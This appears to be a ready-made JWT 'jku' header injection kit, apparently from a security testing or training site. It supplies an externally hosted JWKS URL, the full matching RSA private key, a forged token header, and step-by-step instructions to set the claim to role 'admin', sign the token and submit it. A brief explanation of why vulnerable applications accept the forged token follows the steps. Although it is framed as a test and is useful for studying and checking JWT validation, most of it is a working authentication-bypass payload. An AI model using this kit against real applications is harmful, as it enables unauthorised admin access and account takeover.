JKU Injection

Target JWKS

https://redpillsvault.com/jku-injection/jwks.json

Public Key ID

6dbe7f28-3d21-4985-a8b1-fea41ef810d0

---

Public Key

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "6dbe7f28-3d21-4985-a8b1-fea41ef810d0",
      "n": "wTmlNuM9ozAmIHCM8OyYyJgwn2PSJai0qsD9Rgt3XyZFEZfGaiiteDNqV5xGYRIO5eWB84zpASmdzII-uMrFRHAZRDZJgUdoM4z5kllCQ2dPMapCUsziyDdaoMla9KAZKMEAlwKaSWOjG-3DThWWUx-ql3dMmsv986HPa5-wW9e-pOAYG8gWx8peWYXa90zz7dE1D6w2bv8q1xSHKYHPvoQC3xfb76S1JQoHy26wYnbilAsaJIway-cy5YqllhSKYPC0j2OqlFm_OWBgzkt8YBW11yd-FmZ6b8ja5wmgeKYIhBhlWFdWsruROQMLLNki_CBtA7IqrNa3r7WfHoF17w"
    }
  ]
}

---

Private Key Used to Sign the JWT

{
  "p": "5jXTdvF01ZA0gcjY1TlBz5H3pWHvKoB-emwZRQL-qNT-LsvuzjxG_O1MiH6tweq-yFRLBJvB8Wps2JVNSGrfF7ePAfGNyKoibuv6aEBIqpBEvggQaVwmUX07dulOckKPT83zTn0nOVEfOUqFQsWlDw9M4dqJyOgDLIlmx7fR3JE",
  "kty": "RSA",
  "q": "1t8g3eCBITeLCNClKCEB674cCUztXRECRNOz3D3RniCxpKpTgMJKdeMTX9YXcj0JOdP-9G06Qf9xNqA16eZ1bmG2Gk_10yvVRmLjF5kbVHl3V4Tnwi0_mBCBmszLAdLAVlpveVZmNU8EGmicO_CW8vhDjGXWONNrMildbTOBan8",
  "d": "MG8OKj14yEx76hq8QXHU9EctvO5NEVKCAuFAO0wJfoi9vGSygA61ONGOgOpzu8ZGhLrsQYvbJgbz_nzRUwnEu9xrgO0orKalCHL4ZgZItVOShsz6Nf4UhIJXjcEbMwFkfRIv3ypwWSAIFSqaj5qapThlTvVA9vZWMDkpoH0VPFfe6V_8AieRDOGp5VMzajcTAXst0VuNpgiX2II1mcfSlSCWx6zr2MvujwFbxKdENAN8zpXJAjsmkSzgTLH5Y0zMZdit4ytcFr3FZYqr78eM49Wwd5f4Fc8EAh1ZL5KsVbQkEH_sPYpMyUhu932rc1n8lkD356bTC3wP_ktXRv_3EQ",
  "e": "AQAB",
  "kid": "6dbe7f28-3d21-4985-a8b1-fea41ef810d0",
  "qi": "axPuM94DotLAJ0X6xD-aab05Te6VJcYUoL1whR4lNW3pSjY2ITuUygXKJqCe8IghnYr3AV2GKT9F6sLzp9r-Yh1BEGz-c-6WmgDS_b1WuiBHqUrGfrfFUccZO8X-f0ZjakAui5rqpckax0z-X-w8-kV_rwKUmXyCLeyzhdhFODw",
  "dp": "en55nvir6ldpGQX-Grb0xbYtx9psoHju08VhTM9jIgLznYL19tcsDrlV1-tQGbcG_SGdKT6X3BV9BWGsVbRIMR6DAc2-W9_roon-HCrYf6l0aolv8iAOY533XjaWf0Xba-Nya3k8vcrkil-UuQrh4TmK90KJvlV2GuShw_OTv4E",
  "dq": "s2ZsjJPrfI5hWSTLICwe7HM3-VPvQqr21_xhyVsb7wihCTjkqzaM8Mx82qFnxgvL7ipgTjf8Uioynkc5fGbcWSLf5iwotP19_lyF-qfst6UKzVm8HtWkqRPvAg5G2Ojbib3MIOTQRWYJqPr6ptkDTy2VSF2mdJ-geqsqxAgi34U",
  "n": "wTmlNuM9ozAmIHCM8OyYyJgwn2PSJai0qsD9Rgt3XyZFEZfGaiiteDNqV5xGYRIO5eWB84zpASmdzII-uMrFRHAZRDZJgUdoM4z5kllCQ2dPMapCUsziyDdaoMla9KAZKMEAlwKaSWOjG-3DThWWUx-ql3dMmsv986HPa5-wW9e-pOAYG8gWx8peWYXa90zz7dE1D6w2bv8q1xSHKYHPvoQC3xfb76S1JQoHy26wYnbilAsaJIway-cy5YqllhSKYPC0j2OqlFm_OWBgzkt8YBW11yd-FmZ6b8ja5wmgeKYIhBhlWFdWsruROQMLLNki_CBtA7IqrNa3r7WfHoF17w"
}

---

JWT Header

Set the JWT header to use RS256, the external jku, and the matching kid.

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://redpillsvault.com/jku-injection/jwks.json",
  "kid": "6dbe7f28-3d21-4985-a8b1-fea41ef810d0"
}

---

Steps

1. Take the original JWT from the application.

2. Replace the JWT header with:

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://redpillsvault.com/jku-injection/jwks.json",
  "kid": "6dbe7f28-3d21-4985-a8b1-fea41ef810d0"
}

3. Modify the payload claims.

{
  "role": "admin"
}

4. Sign the JWT with the private RSA JWK shown above.

5. Send the new signed JWT to the application.

6. The test is successful if the application:

   • reads the jku header,
   • fetches the JWKS from https://redpillsvault.com/jku-injection/jwks.json,
   • finds the key using kid,
   • verifies the token with that public key,
   • accepts the modified claims.

---

Expected Vulnerable Flow

JWT header contains jku
        ↓
Application fetches external JWKS
        ↓
Application selects key by kid
        ↓
Application verifies the forged JWT
        ↓
Modified claims are accepted

---

Why It Works

The application trusts a key source controlled by the JWT header.

Instead of using only trusted server-side verification keys, it dynamically loads the public key from the URL provided in jku.